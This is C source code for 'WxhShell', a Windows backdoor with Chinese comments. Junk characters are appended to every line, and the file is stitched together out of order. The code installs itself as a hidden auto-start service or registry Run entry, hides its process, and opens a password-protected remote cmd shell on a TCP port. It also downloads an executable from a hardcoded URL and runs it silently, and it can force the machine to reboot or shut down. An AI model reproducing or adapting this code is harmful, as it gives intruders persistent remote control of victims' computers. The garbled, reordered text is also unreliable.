    send(wsh,msg_ws_err,strlen(msg_ws_err),0); am7~  
    else { @Q&k6.{4Z  
    closesocket(wsh); %&s4YD/{  
    ExitThread(0); 8,e%=7h_e  
    } cJM.Q_I}Y  
    break; ]*Kv[%r07c  
    } 6* 0vUy*"  
  // 获取shell _?eT[!oO8  
  case 's': { #)iPvV'  
    CmdShell(wsh); dx$+,R~y  
    closesocket(wsh); m3&b)O7  
    ExitThread(0); vY,D02 EMw  
    break; +c__U Qx  
  } =j{Kxnv  
  // 退出 Ue"pNjd|  
  case 'x': { .Sv/0&O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lnF{5zc  
    CloseIt(wsh); Y_~otoSoY  
    break; Q-1 Xgw!  
    } j[dgY1yE:  
  // 离开 -D%mVe)&+  
  case 'q': { u*rHKZ9i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QFgKEUNgl  
    closesocket(wsh); \m:('^\6o  
    WSACleanup(); %8d]JQ  
    exit(1); uH[:R vC0  
    break; o%0To{MAF-  
        } rZ2cC#  
  } P?zaut  
  } W! J@30  
=hY/Yr%P  
  // 提示信息 Zq5~M bldh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *M$'dLn  
} < Pi#-r.,  
  } o^r\7g6\  
9`M7 -{  
  return; J"TF@7{p  
} tJ&tNSjTi  
{kr14 l*2  
// shell模块句柄 (A "yE4rYK  
int CmdShell(SOCKET sock) aK 3'u   
{ tf[)| /M  
STARTUPINFO si; P]armg%  
ZeroMemory(&si,sizeof(si)); p./0N.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pbw{EzM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :T<5Tq*+x  
PROCESS_INFORMATION ProcessInfo; &y(%d 7@/  
char cmdline[]="cmd"; *%E\mu,,c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <Y$( l szT  
  return 0; %.onO0})  
} 2<n@%'OQp  
jx2{kK  
// 自身启动模式 1I)oT-~  
int StartFromService(void) -Zp BYX5e_  
{ dP`B9>r  
typedef struct LWhP d\  
{ 5HIQw9g6  
  DWORD ExitStatus; vo%"(!  
  DWORD PebBaseAddress; S5d  
  DWORD AffinityMask; nd7g8P9p  
  DWORD BasePriority; M>}_2G]#F  
  ULONG UniqueProcessId; 8_"NF%%(n  
  ULONG InheritedFromUniqueProcessId; ,Q0H)// ~  
}   PROCESS_BASIC_INFORMATION; C\B4Uu6q  
4u"Bll  
PROCNTQSIP NtQueryInformationProcess; DuIXv7"[  
GR4DxlX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8@RtL,[d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q6<P\CSHy<  
)a x>*  
  HANDLE             hProcess; 9C0#K\  
  PROCESS_BASIC_INFORMATION pbi; * ^V?u  
9%1J..c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ivyaGAF}+o  
  if(NULL == hInst ) return 0; ?_cOU@n  
8/&4l,M5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4 Tw~4b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QR_h#N2h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); | L1+7  
$mh\`  
  if (!NtQueryInformationProcess) return 0; Gh@~~\  
Ak8Y?#"wz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j<k6z   
  if(!hProcess) return 0; #V%98|"  
44|tCB`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Am_>x8z  
.Y"F3 R  
  CloseHandle(hProcess); 'W yWO^Bdk  
/zoy,t-i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q b/}&J7+  
if(hProcess==NULL) return 0; Bc[~'gn  
XmwAYf  
HMODULE hMod; y&-QLX L  
char procName[255]; Z7RBJK7|.  
unsigned long cbNeeded; %^vT7c>  
/of K7/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R&J?X Q  
~x#TfeU]  
  CloseHandle(hProcess); a6^_iSk  
Dfa3&# #{  
if(strstr(procName,"services")) return 1; // 以服务启动 -TH MTRFz  
Z0m`%(MJa  
  return 0; // 注册表启动 kFV, Fg  
} >3Q|k{97  
#mA(x@:*  
// 主模块 5<R m{  
int StartWxhshell(LPSTR lpCmdLine) vIbM@Y4 '?  
{ IhYR4?e  
  SOCKET wsl; 9;?u%  
BOOL val=TRUE; KP>9hEh  
  int port=0; NX.xE W@  
  struct sockaddr_in door; S!.&#sc  
Wi'}d6c  
  if(wscfg.ws_autoins) Install(); ow.!4kx{d  
f$ xp74hw3  
port=atoi(lpCmdLine); $?G@ijk,  
6 AGZ)gX  
if(port<=0) port=wscfg.ws_port; }|Mwv $`  
n]ba1t8ZA  
  WSADATA data; )J}v.8   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UI+6\ 3  
/uj^w&l#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (^m] 7l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DylO;+  
  door.sin_family = AF_INET; z qo0P~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a3tcLd|7J  
  door.sin_port = htons(port); YcN|L&R.  
8b)WOr6n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :Kwu{<rJ!(  
closesocket(wsl); ehr-o7](  
return 1; O {1" I  
} >|E]??v  
7"!b5(4=  
  if(listen(wsl,2) == INVALID_SOCKET) { v$|~ g'6  
closesocket(wsl); gwRB6m$  
return 1; J* *(7d  
} e~N&?^M  
  Wxhshell(wsl); m9DFnk<D  
  WSACleanup(); Zj2 si  
 ?<EzILM  
return 0; 6]?mjG6  
%N*[{j= ^  
} Q&eyqk   
tQ|c.`)W  
// 以NT服务方式启动 mH&7{2r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YsVmU  
{ )4L2&e`k)(  
DWORD   status = 0; D_DwP$wSo  
  DWORD   specificError = 0xfffffff; _x,X0ncv]@  
.h-mFcjy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H5}61JC/z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :> 0ywg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .| 4P :r  
  serviceStatus.dwWin32ExitCode     = 0; {EoYU\x  
  serviceStatus.dwServiceSpecificExitCode = 0; gwoe1:F:J  
  serviceStatus.dwCheckPoint       = 0; ]y_ :+SHc  
  serviceStatus.dwWaitHint       = 0; mWT+15\5r(  
$0_K&_5w~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i%K6<1R;y{  
  if (hServiceStatusHandle==0) return; !9;m~T7.  
&B{zS K$N  
status = GetLastError(); q]? qeF[  
  if (status!=NO_ERROR) NN*L3yx  
{ kpgA2u7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3 7BSJ   
    serviceStatus.dwCheckPoint       = 0; .l1x~(  
    serviceStatus.dwWaitHint       = 0; E>bkEm  
    serviceStatus.dwWin32ExitCode     = status; $hhXsu=  
    serviceStatus.dwServiceSpecificExitCode = specificError;  XIInI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0;bdwIP3  
    return; NUV">i.(  
  } W%L'nR~w$  
ihrf/b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >v+1 v  
  serviceStatus.dwCheckPoint       = 0; [bhKL5l  
  serviceStatus.dwWaitHint       = 0; f .O^R~,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C+NN.5No  
} Cn~VJ,l g  
@_ %RQO_X  
// 处理NT服务事件,比如:启动、停止 6$urrSQ`N0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1 /M^7Vb.  
{ Fv^zSoi2  
switch(fdwControl) #X-C~*|>j  
{ >(RkoExO/  
case SERVICE_CONTROL_STOP: cq I $9  
  serviceStatus.dwWin32ExitCode = 0; EO!,rB7I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W.j^L;  
  serviceStatus.dwCheckPoint   = 0; UIAazDyC  
  serviceStatus.dwWaitHint     = 0; rCPIz<  
  { [G}dPXD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )\1>)BJq  
  } Nf] ?hfJ  
  return; X:W\EeH  
case SERVICE_CONTROL_PAUSE: j\ y!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2.v{W-D[  
  break; Qt.*Z;Gs  
case SERVICE_CONTROL_CONTINUE: ^#R`Uptib  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @[r[l#4yUi  
  break; &#PPXwmR  
case SERVICE_CONTROL_INTERROGATE: \IL)~5d  
  break; |m's)  
}; H:DR?'yW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IWo'{pk  
} 0|AgmW_7 .  
l[E^nh>  
// 标准应用程序主函数 9k6s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +R*DE5dz  
{ |ke0G  
%6Gg&Y$j!  
// 获取操作系统版本 NJBSVC b  
OsIsNt=GetOsVer(); N@|<3R!N*e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xa)p ,  
(G|!{  
  // 从命令行安装  ] 2 `%i5  
  if(strpbrk(lpCmdLine,"iI")) Install(); [5&k{*}}  
FAM{p=t]HT  
  // 下载执行文件 &2W"4SE]6  
if(wscfg.ws_downexe) { mu\1hKq;B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) daSe0:daJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); U`6|K$@  
} $#rkvG_w  
'w ,gYW  
if(!OsIsNt) { $`lWW6>P  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ck/44Wfej  
HideProc(); 1m5l((d  
StartWxhshell(lpCmdLine); {F<0e^*  
} Tx} Nr^   
else D&FDPaJM  
  if(StartFromService()) (utP@d^  
  // 以服务方式启动 s)WA9PiC  
  StartServiceCtrlDispatcher(DispatchTable); G' U_I  
else O|t>.<T?  
  // 普通方式启动 Pg}QRCB@  
  StartWxhshell(lpCmdLine); D?dBm  
$.D )Llcq  
return 0; 3@" :&  
} 1 *' /B  
4bk`i*-O  
/0\g!29l<  
+6uf6&.@~  
=========================================== O84:ejro  
[7}3k?42X  
A l?%[-u  
93*d:W8Vr  
~Eg]Auk7  
#TNjQNg@O  
" kTH"" h{  
__b4dv  
#include <stdio.h> 8gavcsVE[  
#include <string.h> lo!pslqsn  
#include <windows.h> (9`dLw5  
#include <winsock2.h> <r,5F:  
#include <winsvc.h> ow'G&<0b  
#include <urlmon.h> ^mL X}E]  
BI%^7\HZ  
#pragma comment (lib, "Ws2_32.lib") Tz)Ku  
#pragma comment (lib, "urlmon.lib") ?wHhBh-Q  
2Vti|@JYp  
#define MAX_USER   100 // 最大客户端连接数 x1Gx9z9  
#define BUF_SOCK   200 // sock buffer jOT/|k  
#define KEY_BUFF   255 // 输入 buffer $9?:P}$v  
)jXKPLj  
#define REBOOT     0   // 重启 /wEl\Kx  
#define SHUTDOWN   1   // 关机 '!A}.wF0  
ho$}#o  
#define DEF_PORT   5000 // 监听端口 2V]a+Cgk  
|@_<^cV110  
#define REG_LEN     16   // 注册表键长度 Yeg<MrS4D  
#define SVC_LEN     80   // NT服务名长度 MB;rxUbhe3  
`^Ll@Cx"  
// 从dll定义API 4 xqzdR_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vz0(D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'yVe&5?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kxKb}> =  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }>M\iPO.]*  
W!$U{=  
// wxhshell配置信息 !D F~]&  
struct WSCFG { Qw5-/p=t  
  int ws_port;         // 监听端口 : j kO  
  char ws_passstr[REG_LEN]; // 口令 \ n 2MP  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7HVENj_b+M  
  char ws_regname[REG_LEN]; // 注册表键名 E{[Y8U1n  
  char ws_svcname[REG_LEN]; // 服务名 U%pB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YCE *Dm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7vXP|8j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $(gL#"T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8x- 19#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3Qd/X&P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qqo#H O  
hiibPc?I  
}; q]yw",muT  
t]0DT_iE  
// default Wxhshell configuration $1B?@~&  
struct WSCFG wscfg={DEF_PORT, @p~scE.#\  
    "xuhuanlingzhe", `uMc.:5\  
    1, KDb j C'3  
    "Wxhshell", 0^tY|(b3/M  
    "Wxhshell", 05{}@tW-  
            "WxhShell Service", XYR q"{Id  
    "Wrsky Windows CmdShell Service", U2?R&c;b  
    "Please Input Your Password: ", q#AIN`H  
  1, 3O; H&  
  "http://www.wrsky.com/wxhshell.exe", )NhC+=N  
  "Wxhshell.exe" u=Ik&^v Wq  
    }; f.$[?Fi  
ECi;o1hda  
// 消息定义模块 ,9d]-CuP;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IagM#}m@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mWYrUI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w>cqsTq  
char *msg_ws_ext="\n\rExit."; sgP{A}4 W  
char *msg_ws_end="\n\rQuit."; ~}j+~  
char *msg_ws_boot="\n\rReboot..."; ,vmn{gz  
char *msg_ws_poff="\n\rShutdown..."; -5  
char *msg_ws_down="\n\rSave to "; ,ja!OZ0$  
6QA`u*  
char *msg_ws_err="\n\rErr!"; `B"sy8}x  
char *msg_ws_ok="\n\rOK!"; nK03xYA  
O'IU1sU  
char ExeFile[MAX_PATH]; ms5?^kS2O  
int nUser = 0; [u!n=ev  
HANDLE handles[MAX_USER]; zMA;1Na  
int OsIsNt; \~A qA!)6  
\8$~ i  
SERVICE_STATUS       serviceStatus; "G%</G8M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5b/ ~]v  
<-?C\c~G@  
// 函数声明 pD({"A.x9z  
int Install(void); _b%)  
int Uninstall(void); 6 /YJA*  
int DownloadFile(char *sURL, SOCKET wsh); C`t @tgT  
int Boot(int flag); FHU6o910  
void HideProc(void); So!=uYX  
int GetOsVer(void); 6Ot~Q  
int Wxhshell(SOCKET wsl); _rB,N#{2R=  
void TalkWithClient(void *cs); F4G81^H  
int CmdShell(SOCKET sock); `WXlq#:K  
int StartFromService(void); Kw`CN  
int StartWxhshell(LPSTR lpCmdLine); \X&8EW  
C^L xuUW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -c]AS[(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bD,X.  
:Q"|%#P  
// 数据结构和表定义 Gqd|F>  
SERVICE_TABLE_ENTRY DispatchTable[] = V($V8P/  
{ v5'`iO0o  
{wscfg.ws_svcname, NTServiceMain}, rWL;pM<  
{NULL, NULL} {>1FZsR49t  
}; YS^!'IyG/B  
)pHlWi|h  
// 自我安装 %\<b{x# G  
int Install(void) HQm_ K0$  
{ -&Xv,:'?  
  char svExeFile[MAX_PATH]; ;9OhK71}  
  HKEY key; 7C7.}U  
  strcpy(svExeFile,ExeFile); $!>.h*np  
=^u;uS[IW  
// 如果是win9x系统,修改注册表设为自启动 U)bv,{-q  
if(!OsIsNt) { i$E [@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zw+aZDcV(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >E<ib[vK[  
  RegCloseKey(key); oVy{~D=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =lJ ?yuc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O,B\|pd2  
  RegCloseKey(key); nFn!6,>E  
  return 0; NV4g5)D&L  
    } W\kli';jyC  
  } lNL=Yu2p_  
} EpAgKzVpJ  
else { \nZB@u;S  
v~Q'm1!O4\  
// 如果是NT以上系统,安装为系统服务 _h!.gZB3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2 DW @}[G  
if (schSCManager!=0) w95M B*N  
{ |[>@Kk4  
  SC_HANDLE schService = CreateService e NIzI]~  
  ( %rptI$^*X  
  schSCManager, X@`a_XAfd  
  wscfg.ws_svcname, lDYgt UKG  
  wscfg.ws_svcdisp, g5B TZZ  
  SERVICE_ALL_ACCESS, yc](  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nzflUR{`-  
  SERVICE_AUTO_START, 5Ml=<^  
  SERVICE_ERROR_NORMAL, rR.It,,  
  svExeFile, @yuiNj .T  
  NULL, I$7eiW @  
  NULL, -G,}f\Cg  
  NULL, X 0y$xC|<  
  NULL, \~5|~|9<  
  NULL :skR6J  
  ); B3#G  
  if (schService!=0) 3xChik{  
  { W" 5nS =d%  
  CloseServiceHandle(schService); [r/zBF-.  
  CloseServiceHandle(schSCManager); T`EV uRJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `$T$483/  
  strcat(svExeFile,wscfg.ws_svcname); 7N9NeSH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Op'a=4x]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,S-h~x  
  RegCloseKey(key); 9-ozrw8t  
  return 0; ~Bzzu % S  
    } fW-C`x  
  } "}]$ag!`q$  
  CloseServiceHandle(schSCManager); xl\Kj2^  
} s*izhjjX  
} W$c@C02<  
 z:,PwLU  
return 1;  js_`L#t  
} E#k{<LYI  
L)sgW(@2  
// 自我卸载 ot^pxun  
int Uninstall(void) YFO{i-*q  
{ }|P3(*S  
  HKEY key; oh9 ;_~  
Y?0/f[Ax,y  
if(!OsIsNt) { I~GF%$-G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { " 9Gn/-V>  
  RegDeleteValue(key,wscfg.ws_regname); NQ9v[gv  
  RegCloseKey(key); P-@MLIC{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *G19fJ[5  
  RegDeleteValue(key,wscfg.ws_regname); ( ay AP  
  RegCloseKey(key); \|;\  
  return 0; wcGK *sWG-  
  } qkb'@f=  
} P49\A^5S!  
} O `}EiyV  
else { TQa}Ps  
AJPvwu}D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P6:C/B  
if (schSCManager!=0) l:85 _E  
{ $]v}X},,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .JhQxXj  
  if (schService!=0) *3GV9'-P  
  { }#XFa#  
  if(DeleteService(schService)!=0) { &gXh:.  
  CloseServiceHandle(schService); TktH28tK  
  CloseServiceHandle(schSCManager); %Sr+D{B  
  return 0; /R)wM#&  
  } &.?XntI9O  
  CloseServiceHandle(schService); *IG$"nu  
  } {Mx(|)WkL  
  CloseServiceHandle(schSCManager); o5 L^  
} 7u):J  
} P15 H[<:Fz  
UtZ,q!sg  
return 1; %`Re {%1;  
} \/A.j|by,>  
\o9 \i kR  
// 从指定url下载文件 }U_ ' 7_JT  
int DownloadFile(char *sURL, SOCKET wsh) L4#pMc  
{ ZCiCZ)oc  
  HRESULT hr; \@LTXH.  
char seps[]= "/"; mgs(n5V5  
char *token; &p0e)o~Ux  
char *file; -yYdj1y;  
char myURL[MAX_PATH]; 7s9h:/Lu  
char myFILE[MAX_PATH]; $pGT1oF[E  
@f!X%)\;x  
strcpy(myURL,sURL); :6^7l/p  
  token=strtok(myURL,seps); ;JW_4;-  
  while(token!=NULL) EY}:aur  
  { $6hPTc<C  
    file=token; 6b|?@  
  token=strtok(NULL,seps); ,$P,x  
  } ny={OhP-  
d[ N1zQW  
GetCurrentDirectory(MAX_PATH,myFILE); JzHG5nmB  
strcat(myFILE, "\\"); ]I*c:(qwu  
strcat(myFILE, file); U$rMZk  
  send(wsh,myFILE,strlen(myFILE),0); 2Xb, i  
send(wsh,"...",3,0); {pzj@b 1S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !xM5 A[f  
  if(hr==S_OK) zM0NRERi  
return 0; 3r\8v`^>  
else s0kp(t!fiu  
return 1; /r}L_wI  
7ubz7*  
} &hCbXs=  
iyskADS  
// 系统电源模块 hy;VvAH 5  
int Boot(int flag) f)I5=Ijy(  
{ ;"3B,Yj  
  HANDLE hToken; l,ENMKA^D  
  TOKEN_PRIVILEGES tkp; 9g92eKS  
4 1_gak;  
  if(OsIsNt) { ?b7\m":'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3} A$+PX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (FuIOR  
    tkp.PrivilegeCount = 1; 0lw>mxN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^;C&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @=J|%NO  
if(flag==REBOOT) { U"oNJ8&%|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [ oWkd_dK  
  return 0; FLZ9pb[T  
} >1y6DC  
else { 0X$mT:=9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h}b:-a  
  return 0; ``o]i{x  
} gN&i &%*!  
  } Io6/Fv>!  
  else { `:/'")+@v  
if(flag==REBOOT) { \l+v,ELX=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^xo<$zn  
  return 0; bbm\y] !t  
} r8k(L{W  
else { 7y=>Wa?T[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F_-Lu]*  
  return 0; \1EuHQ?  
} 3;nOm =I  
} 7]{g^g.9-  
g40Hj Y  
return 1; *MF9_V)8V  
} 1/_g36\l$  
/-=fWtA  
// win9x进程隐藏模块 $-4](br|  
void HideProc(void) .6?"<zdPU  
{ Gvb2>ZN  
'3.\+^3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |Q?h"5i"(  
  if ( hKernel != NULL ) !oLn=  
  { \j8vf0c5b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uo F.f$%"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r924!zdbR  
    FreeLibrary(hKernel); 8f@}-  
  } %Ymi,o>  
fv+]iK<{  
return; CEy\1D  
} .35(MFvq!  
24sMX7Q,i  
// 获取操作系统版本 dab]>% M  
int GetOsVer(void) /\J0)V  
{ X2w)J?pv  
  OSVERSIONINFO winfo; Xr*I`BJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K.tNV{OL  
  GetVersionEx(&winfo); D:P(;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  *7m lH  
  return 1; S zo'[/ [R  
  else !V|{(>+<  
  return 0; CTMC78=9}  
} J,W<ha*  
4,RPidv%O  
// 客户端句柄模块 7Sdo*z  
int Wxhshell(SOCKET wsl) \C~X_/sg  
{ =NB[jQ :(  
  SOCKET wsh; >hunV'vu'  
  struct sockaddr_in client; 1M ?BSH{  
  DWORD myID; h5?^MRZS  
?Uql 30A  
  while(nUser<MAX_USER)  ?kjQ_K  
{ Z |$#  
  int nSize=sizeof(client); v^"\e&XL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CmEqo;Is  
  if(wsh==INVALID_SOCKET) return 1; l 9K`+c+t  
VcjbRpTy&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y r (g/0  
if(handles[nUser]==0) @ @[xTyA  
  closesocket(wsh); g`fG84  
else ?v^NimcZ  
  nUser++; M7#!Y=  
  } bY_'B5$.^2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;i@S}LwL  
cILS  
  return 0; ;lObqs*?>  
} "@ >6<(Ki  
,dC.|P' `  
// 关闭 socket :a wt7lqv  
void CloseIt(SOCKET wsh) pcMzLMG<  
{ Ft5A(P >  
closesocket(wsh); d/_D|ivZ=  
nUser--; ;|Cd q  
ExitThread(0); ?N kKDvv  
} RZ6y5  
y2W+YV*  
// 客户端请求句柄 hHJiGVJ=V  
void TalkWithClient(void *cs) <rC%$tr  
{ #GM^:rF  
^s~)"2 g  
  SOCKET wsh=(SOCKET)cs; 2A_1E \  
  char pwd[SVC_LEN]; !h? HfpYv  
  char cmd[KEY_BUFF]; WNR]GI  
char chr[1]; bBIh}aDN  
int i,j; M0 z%<_<}  
Q68~D.V%r  
  while (nUser < MAX_USER) { h'y"`k -  
v[L+PD U  
if(wscfg.ws_passstr) { w/@ZPBRo]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mTe3%( LD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u\LNJo| B  
  //ZeroMemory(pwd,KEY_BUFF); |5u~L#P  
      i=0; TV`1&ta  
  while(i<SVC_LEN) { }c G)$E  
\,S |>CPQ  
  // 设置超时 t/ \S9  
  fd_set FdRead; ^ITF*  
  struct timeval TimeOut; = l(euBb  
  FD_ZERO(&FdRead); ~'M<S=W  
  FD_SET(wsh,&FdRead); ("U<@~  
  TimeOut.tv_sec=8; FJn-cR.n  
  TimeOut.tv_usec=0; eT b!xb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !Yof%%m$;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dN5{W0_  
uV:R3#^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y[N0P0r l:  
  pwd=chr[0]; V]|X ,G  
  if(chr[0]==0xd || chr[0]==0xa) { UZ<K'H,q  
  pwd=0; kZe<<iv  
  break; a0NiVF-m%  
  } Jc":zR@5  
  i++; : UeK0  
    } Avw=*ZW  
R-%6v2;ry  
  // 如果是非法用户,关闭 socket !.P||$x`&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9a*#r;R  
} N sdpE?V  
FKO2UY#&7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v,i|:;G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V'9.l6l   
i q`}c |c  
while(1) { tWn dAM(U7  
Qvp"gut)%X  
  ZeroMemory(cmd,KEY_BUFF); )Qb,zS6  
d+,!>.<3  
      // 自动支持客户端 telnet标准   q-!H7o  
  j=0; 1AAyzAP9`  
  while(j<KEY_BUFF) { |aDBp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v+LJx    
  cmd[j]=chr[0]; L/"MRQ"  
  if(chr[0]==0xa || chr[0]==0xd) { T-N>w;P  
  cmd[j]=0; zT>!xGTu7~  
  break; xr'1CP  
  } K/W=r  
  j++; 0O"W0s"T#  
    } vH+g*A0S<  
e!5} #6Kd  
  // 下载文件 rpKZ>S|7+)  
  if(strstr(cmd,"http://")) { Y(Oh7VwY*P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n#+EG3  
  if(DownloadFile(cmd,wsh)) ?4':~;~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )R7Sh51P  
  else c`<2&ke  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *I 1H  
  } 4<Vi`X7[F  
  else { (~DW_+?]'  
G[KjK$.Ts?  
    switch(cmd[0]) { `/sNX<mp  
  ~ YH?wdT  
  // 帮助 _^E NRk@  
  case '?': { vX:}tir[  
